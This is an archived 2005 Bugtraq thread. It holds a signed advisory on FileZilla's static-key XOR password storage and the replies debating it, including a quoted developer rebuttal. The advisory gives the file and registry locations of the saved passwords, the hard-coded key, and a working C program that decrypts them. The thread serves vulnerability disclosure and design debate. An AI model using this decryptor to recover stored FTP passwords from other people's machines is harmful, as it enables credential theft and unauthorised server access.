PDA

Bekijk Volledige Versie : FileZilla weakly-encrypted password vulnerability: advisory + PoC



m123303@securityfocus.com, [#*at*#]@securityfocus.
03/09/05, 21:55
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Title: FileZilla weakly-encrypted password vulnerability
Risk: HIGH
Credits: pagvac (Adrian Pastor)
Date found: 6th August, 2005
Homepage: www.ikwt.com
www.adrianpv.com
E-mail: m123303[ - at - ]richmond.ac.uk


Background
- -----------
FileZilla is the most active and most downloaded open source FTP/SFTP
client (according to www.SourceForge.org at time of writing).
Currently
there is only a Windows version of this client.

For some stats visit:
http://sourceforge.net/top/mostactive.php?type=week
http://sourceforge.net/top/toplist.php?type=downloads_week

The project page can be found at:
http://sourceforge.net/projects/filezilla/

This advisory plus PoC code and executable can be found in the
following links:

http://www.ikwt.com/projects/filezilla-weak-encryption-research.zip
http://www.adrianpv.com/projects/filezilla-weak-encryption-research.zi
p

Versions affected
- -----------------
This vulnerability has been successfully tested on versions 2.2.14b
and 2.2.15. However, it is suspected that most previous versions are
also affected.


Vulnerability summary
- ---------------------
- - FileZilla client stores password using weak XOR "encryption"
- - The value of the cipher key is static (it never changes) and can
be found in the source code


Description of vulnerability
- ----------------------------
FileZilla saves configuration settings in two different locations:

- - in an XML file
- - in the Windows registry

The method used to save configuration settings depends on the
preferences used by the user during the installation of
FileZilla. Either way, all configuration settings are stored in
cleartext, EXCEPT for the password. However, the password
is stored using very weak XOR "encryption" which can be easily
reversed.

There exists a problem in the way the XOR encryption is implemented
because the same cipher key is always used. This key is
hard-coded, which means that anyone can analyze the source code of
the application and find it. Of course, this wouldn't be
so easy if FileZilla wasn't an open source application.

Once the key is known, an attacker can use it to decrypt the password
back to its cleartext form. Because the XOR cryptographic algorithm
used
is symmetric, the same key is used for both, encrypting and
decrypting.

As mentioned before, the rest of the configuration settings are all
in cleartext. Some information that would be useful for an
attacker includes hostname of the server to connect to, default port,
and username.

If successfully exploited, this vulnerability will allow an attacker
to access FTP (or SFTP) servers with the privileges of the user whose
configuration settings were stolen from.

In practice, this vulnerability could be exploited after a machine
has been compromised, or by fooling the user into executing malicious
code. Such code could dump the configuration settings, decrypt the
password/s
and sends them all to the attacker.

It is common to see many popular trojans out there that exploit weak
encryption vulnerabilities of this type. These trojans
dump the credentials of popular applications such as Internet
Explorer, VNC or even dialup connections. FileZilla could be
the next added application in the list of all those trojans with
password-dumping features.

This vulnerability is somehow similar to the one found by Conde
Vampiro in VNC 3 back in 1999. It's similar because in both
cases we find an open source application using a fixed cipher key to
decrypt passwords. Thus, making trivial to find the key.

For more information on Conde Vampiro's findings visit
http://www.securiteam.com/securitynews/3P5QERFQ0Q.html


Vulnerability details
- ---------------------
The XML configuration file is found at:

%programfiles%\FileZilla\FileZilla.xml

Where %programfiles% is the "program files" directory. This is
usually "c:\program files" by default.

The configuration settings are saved in the registry in:

Hive: HKEY_CURRENT_USER
Key: Software\FileZilla\Site Manager\[site_name]\

Where [site_name] is the name given to the connection by the user.

The password is saved in the previous key as a value with the
following properties:
Value: Pass
Type: REG_SZ (string terminated in NULL)


The cipher key can be found in Crypt.cpp and its value is:
"FILEZILLA1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ"


Solution
- --------
Choose "Use secure mode" during the installation (this disables
FileZilla from saving passwords), lockdown your client
machines where the FileZilla client is installed, or update to a
patched version which fixes this issue (if available).


PoC Code
- --------
/*

Filename: filezilla-pwdec.c
Title: FileZilla Client - Weakly encrypted password exploit v0.01
Author: pagvac (Adrian Pastor)
Date: 8th August, 2005
License: GPL
email: m123303[-a-t-]richmond.ac.uk
homepage: www.ikwt.com (In Knowledge We Trust)
www.adrianpv.com

Description: this tool asks the user for the "encrypted" password and
computes the cleartext version of the password

Other info: compile as a Win32 console application project in Visual
C++

Copyright (C) 2005 pagvac (Adrian Pastor)

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
02110-1301, USA.

*/


//Includes
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>

//Macros
#define MAX_SIZE 150
#define SLEEP_TIME 5000

//Global variable (cypher key)
char *m_key = "FILEZILLA1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ";


//PRE: decimal values representing ASCII chars,
// every three digits becomes one ASCII char
// e.g.: 042040063063
//POST: ASCII chars are copied back to buff[]
// e.g.: *(??
// the length of the new string is returned
int digit2char(char buff[])
{
char tmp_buff[4], ascii_buff[MAX_SIZE];
unsigned int i=0, j=0, n=0, len=(strlen(buff)/3);
for(i=0,j=0;i<strlen(buff);i+=3,++j)
{
tmp_buff[0]=buff[i];
tmp_buff[1]=buff[i+1];
tmp_buff[2]=buff[i+2];
tmp_buff[3]='\0';

n=atoi(tmp_buff);
ascii_buff[j]=(char)n;
}
ascii_buff[j]='\0';
printf("ascii_buff:%s\n", ascii_buff);
strcpy(buff, ascii_buff);

return len;
}

//PRE: buffer containing ASCII chars of cypher
// (rather than their numberic ASCII value)
//POST:length of cleartext password is returned
unsigned int decrypt(char buff[])
{
unsigned int i, pos, len;

len=digit2char(buff);
pos=len%strlen(m_key);

for (i=0;i<len;i++)
buff[i]=buff[i]^m_key[(i+pos)%strlen(m_key)];

return len;
}

int main(void)
{
char cypher[MAX_SIZE];
unsigned int len=0,i=0;

printf("Enter cypher (encrypted password)\ne.g.:
120125125112000\n->");
scanf("%s", cypher);
if(strlen(cypher)%3==0)
{
len=decrypt(cypher);
printf("cleartext password:");
for(i=0;i<len;++i)
printf("%c",cypher[i]);
printf("\n");
}
else
{
printf("You didn't enter a valid cypher!\n");
printf("It should be a numeric value whose length is multiple of
3\n");
}

printf("Ending program in %d seconds...\n", SLEEP_TIME/1000);
Sleep(SLEEP_TIME);
return 0;
}

-----BEGIN PGP SIGNATURE-----
Version: PGP 8.1 - not licensed for commercial use: www.pgp.com

iQA/AwUBQxho+LteQP8gtTAfEQI7JwCeNNjIc/wmQ8Dwbg6jjs0u/Iyh/GoAoJ24
bq4jAqPwakzJk+rrAdpFaxr0
=fWuP
-----END PGP SIGNATURE-----

Nick Boyce
07/09/05, 01:25
On 2 Sep 2005 13:59:49 -0000, m123303[ - at - ]richmond.ac.uk wrote:

> Vulnerability summary
> - ---------------------
[...]
> There exists a problem in the way the XOR encryption is implemented
> because the same cipher key is always used. This key is
> hard-coded, which means that anyone can analyze the source code of
> the application and find it. Of course, this wouldn't be
> so easy if FileZilla wasn't an open source application.
[...]

Okay .. so (assuming that's a problem) what do you suggest is done by
the FileZilla folks about this, given that we've already established
ad nauseam that the best you can ever achieve in these circumstances
is to obfuscate the key ?

See http://marc.theaimsgroup.com/?l=3Dbugtraq&m=3D112500510209243&w=3D2

> Solution
> - --------
> Choose "Use secure mode" during the installation (this disables
> FileZilla from saving passwords), lockdown your client
> machines where the FileZilla client is installed,=20

Well, duh ... I always do this with my FileZilla installations - don't
you ? I keep precious passwords somewhere else much safer. That's
/why/ the FileZilla installer warns you about this and suggests you
use secure mode if you're on a multi-user (or otherwise untrustable)
machine.

Keeping passwords in the registry, or an XML file (or indeed anywhere
at all that doesn't in turn require yet another password to access)
can only ever be a convenience-vs-security trade-off. No matter how
"strongly" you garble the password for storage, if the source code is
available then it won't be long before someone works out how to
ungarble it - and even if the source code is *not* released it won't
slow the Bad Guys down much.

> ... or update to a patched version which fixes this issue (if available).

Um, how can the FileZilla folks patch the problem, without again
releasing the source code of the "new improved" algorithm and/or key ?

Cheers,

Nick Boyce
Bristol, UK

medhead@flagmandesign.com
07/09/05, 02:55
QUOTED FROM FILEZILLA FORUM POST: I AM IN NO WAY CONNECTED WITH FILEZILLA DEVELOPMENT, NOR DO I SPEAK ON BEHALF OF FILEZILLA. WHAT IS WRITTEN BELOW HAS BEEN COPIED FROM THE FILEZILLA FORUM POST.

http://filezilla.sourceforge.net/forum/viewtopic.php?t=1328

Preface: There is no know security vulnerability in FileZilla, the reported vulnerability is a hoax.

Recently someone reported an alleged security vulnerabilty in FileZilla. But very quickly it became visible that the problem is not a vulnerability at all, but infact a fundamental issue of every single program that can store passwords transparently.
Despite my reply the vulnerabilty got releases to several security sites. Someone even posted some sort of exploit: Sourcecode that decrypts the stored passwords of FileZilla. But how could this be an exploit? In order to connect to a server with the encr
ypted passwords, FileZilla itself has to decrypt it. And since FileZilla is open source (basically every single program is, just look at the machine code), everyone can decrypt the passwords with little effort.

The used encryption method to store the passwords is a very simple algorithm. It hasn't been designed to be cryptographically strong, it shouls just obscure passwords.
In fact it is impossible to transparently store passwords securly, see below for reasons.

So since the vulnerabilty report got released despite my explanations, I can only assume that the author has either very little experience or, what I don't hope, this is an attempt to discredit FileZilla.

--------

FILEZILLA DEVELOPER REPLIES TO ORIGINAL EMAIL

--------

Hi,

thanks for your concern about FileZilla. I would like to clarify that
this is not a security vulnerabilty. The password encryption has never
been designed to be secure, it's just meant to obfuscate the password.

In order to use the stored passwords, FileZilla itself has to be able to
decrypt the passwords, for this it needs the encryption key to be stored
along with the encrypted passwords. In this case the key is stored
inside the executable.
This is no different than with any other program that can store
passwords transparently: It's never secure and can always be cracked
with very little effort. This is especially true for open source
software where everyone can inspect the encryption code.

But there are a few ways to store passwords in a secure. I'll add a few
comments on all of them

1. Don't save passwords at all. Implemented in FileZilla, chose "Secure
mode" during setup.
2. Don't store the password itself, store hashes. This won't work for
FTP as FTP needs to send original passwords and hashes aren't reversible.
3. Encrypt settings using a master password, don't save the master
password at all, request it from the user on startup. Not implemented in
FileZilla, partially because of
4. Use the tools the operating system provides to protect data, that is
access rights and file encryption. Though obviously the user has to
setup this for himself.

Thus said, for FileZilla 3 I even plan to omit password obfuscation by
default. Transparent password storage is equally secure when passwords
are stored in plaintext.

Regards,
Tim Kosse

Mark Senior
07/09/05, 21:15
I understand that you're not necessarily endorsing the developer's
stance, so please take no offence.

The below posting is evidence that the FileZilla developers are infected
with a DOS mentality - the assumption that every computer will be used
by only one person.

The developer is being disingenuous when he lists:

> 3. Encrypt settings using a master password, don't save the=20
> master password at all, request it from the user on startup.=20
> Not implemented in FileZilla, partially because of
> 4. Use the tools the operating system provides to protect=20
> data, that is access rights and file encryption. Though=20
> obviously the user has to setup this for himself.

In fact, the user doesn't have to set up 4. for himself - the OS has
already set up ACLs for his home directory on his behalf. The user may
even have set up encryption for his home directory too. Having done
this, a user should be able to assume that he has done his bit, and his
programs won't go littering his passwords all over the filesystem and
the registry.

The correct place for a file that contains a user's passwords in
plaintext (obfuscated or not) is under the user's home directory, which
is already protected by filesystem ACLs. Writing a user-specific XML
file in a globally accessible directory is actually actively avoiding
the tools the operating system provides. Putting the file under
%PROGRAMFILES%\FileZilla\ (and correspondingly requiring that every user
have write access to that folder - effectively requiring that the
program be run as a local admin) is just dumb.

As for point 3. it's not a bad idea either, and could perhaps be
usefully be done in addition to 4. (a la PasswordSafe)

Regards
Mark


> -----Original Message-----
> From: medhead@flagmandesign.com [mailto:medhead@flagmandesign.com]=20
> Sent: September 4, 2005 00:59
> To: bugtraq@securityfocus.com
> Subject: Re: FileZilla weakly-encrypted password=20
> vulnerability: advisory + PoC
>=20
> QUOTED FROM FILEZILLA FORUM POST: I AM IN NO WAY CONNECTED=20
> WITH FILEZILLA DEVELOPMENT, NOR DO I SPEAK ON BEHALF OF=20
> FILEZILLA. WHAT IS WRITTEN BELOW HAS BEEN COPIED FROM THE=20
> FILEZILLA FORUM POST.
>=20
> http://filezilla.sourceforge.net/forum/viewtopic.php?t=3D1328
>=20
> Preface: There is no know security vulnerability in=20
> FileZilla, the reported vulnerability is a hoax.
>=20
> Recently someone reported an alleged security vulnerabilty in=20
> FileZilla. But very quickly it became visible that the=20
> problem is not a vulnerability at all, but infact a=20
> fundamental issue of every single program that can store=20
> passwords transparently.
> Despite my reply the vulnerabilty got releases to several=20
> security sites. Someone even posted some sort of exploit:=20
> Sourcecode that decrypts the stored passwords of FileZilla.=20
> But how could this be an exploit? In order to connect to a=20
> server with the encrypted passwords, FileZilla itself has to=20
> decrypt it. And since FileZilla is open source (basically=20
> every single program is, just look at the machine code),=20
> everyone can decrypt the passwords with little effort.
>=20
> The used encryption method to store the passwords is a very=20
> simple algorithm. It hasn't been designed to be=20
> cryptographically strong, it shouls just obscure passwords.
> In fact it is impossible to transparently store passwords=20
> securly, see below for reasons.
>=20
> So since the vulnerabilty report got released despite my=20
> explanations, I can only assume that the author has either=20
> very little experience or, what I don't hope, this is an=20
> attempt to discredit FileZilla.
>=20
> --------
>=20
> FILEZILLA DEVELOPER REPLIES TO ORIGINAL EMAIL
>=20
> --------
>=20
> Hi,
>=20
> thanks for your concern about FileZilla. I would like to=20
> clarify that this is not a security vulnerabilty. The=20
> password encryption has never been designed to be secure,=20
> it's just meant to obfuscate the password.
>=20
> In order to use the stored passwords, FileZilla itself has to=20
> be able to decrypt the passwords, for this it needs the=20
> encryption key to be stored along with the encrypted=20
> passwords. In this case the key is stored inside the executable.
> This is no different than with any other program that can=20
> store passwords transparently: It's never secure and can=20
> always be cracked with very little effort. This is especially=20
> true for open source software where everyone can inspect the=20
> encryption code.
>=20
> But there are a few ways to store passwords in a secure. I'll=20
> add a few comments on all of them
>=20
> 1. Don't save passwords at all. Implemented in FileZilla,=20
> chose "Secure mode" during setup.
> 2. Don't store the password itself, store hashes. This won't=20
> work for FTP as FTP needs to send original passwords and=20
> hashes aren't reversible.
> 3. Encrypt settings using a master password, don't save the=20
> master password at all, request it from the user on startup.=20
> Not implemented in FileZilla, partially because of 4. Use the=20
> tools the operating system provides to protect data, that is=20
> access rights and file encryption. Though obviously the user=20
> has to setup this for himself.
>=20
> Thus said, for FileZilla 3 I even plan to omit password=20
> obfuscation by default. Transparent password storage is=20
> equally secure when passwords are stored in plaintext.
>=20
> Regards,
> Tim Kosse
>=20

This email and any files transmitted with it are confidential and intende=
d solely for the use of the individual or entity to whom they are address=
ed. If you have received this email in error please notify the system man=
ager. This message contains confidential information and is intended only=
for the individual named. If you are not the named addressee you should =
not disseminate, distribute or copy this e-mail.


This email and any files transmitted with it are confidential and intende=
d solely for the use of the individual or entity to whom they are address=
ed. If you have received this email in error please notify the system man=
ager. This message contains confidential information and is intended only=
for the individual named. If you are not the named addressee you should =
not disseminate, distribute or copy this e-mail.

MacIntyre, Lawrence Paul
07/09/05, 21:15
How hard would it be to use a passphrase to encrypt the passwords?

-----Original Message-----
From: Nick Boyce [mailto:nick.boyce@gmail.com]=20
Sent: Monday, September 05, 2005 12:57 PM
To: bugtraq@securityfocus.com
Subject: Re: FileZilla weakly-encrypted password vulnerability: advisory
+ PoC

On 2 Sep 2005 13:59:49 -0000, m123303[ - at - ]richmond.ac.uk wrote:

> Vulnerability summary
> - ---------------------
[...]
> There exists a problem in the way the XOR encryption is implemented
> because the same cipher key is always used. This key is
> hard-coded, which means that anyone can analyze the source code of
> the application and find it. Of course, this wouldn't be
> so easy if FileZilla wasn't an open source application.
[...]

Okay .. so (assuming that's a problem) what do you suggest is done by
the FileZilla folks about this, given that we've already established
ad nauseam that the best you can ever achieve in these circumstances
is to obfuscate the key ?

See http://marc.theaimsgroup.com/?l=3Dbugtraq&m=3D112500510209243&w=3D2

> Solution
> - --------
> Choose "Use secure mode" during the installation (this disables
> FileZilla from saving passwords), lockdown your client
> machines where the FileZilla client is installed,=20

Well, duh ... I always do this with my FileZilla installations - don't
you ? I keep precious passwords somewhere else much safer. That's
/why/ the FileZilla installer warns you about this and suggests you
use secure mode if you're on a multi-user (or otherwise untrustable)
machine.

Keeping passwords in the registry, or an XML file (or indeed anywhere
at all that doesn't in turn require yet another password to access)
can only ever be a convenience-vs-security trade-off. No matter how
"strongly" you garble the password for storage, if the source code is
available then it won't be long before someone works out how to
ungarble it - and even if the source code is *not* released it won't
slow the Bad Guys down much.

> ... or update to a patched version which fixes this issue (if
available).

Um, how can the FileZilla folks patch the problem, without again
releasing the source code of the "new improved" algorithm and/or key ?

Cheers,

Nick Boyce
Bristol, UK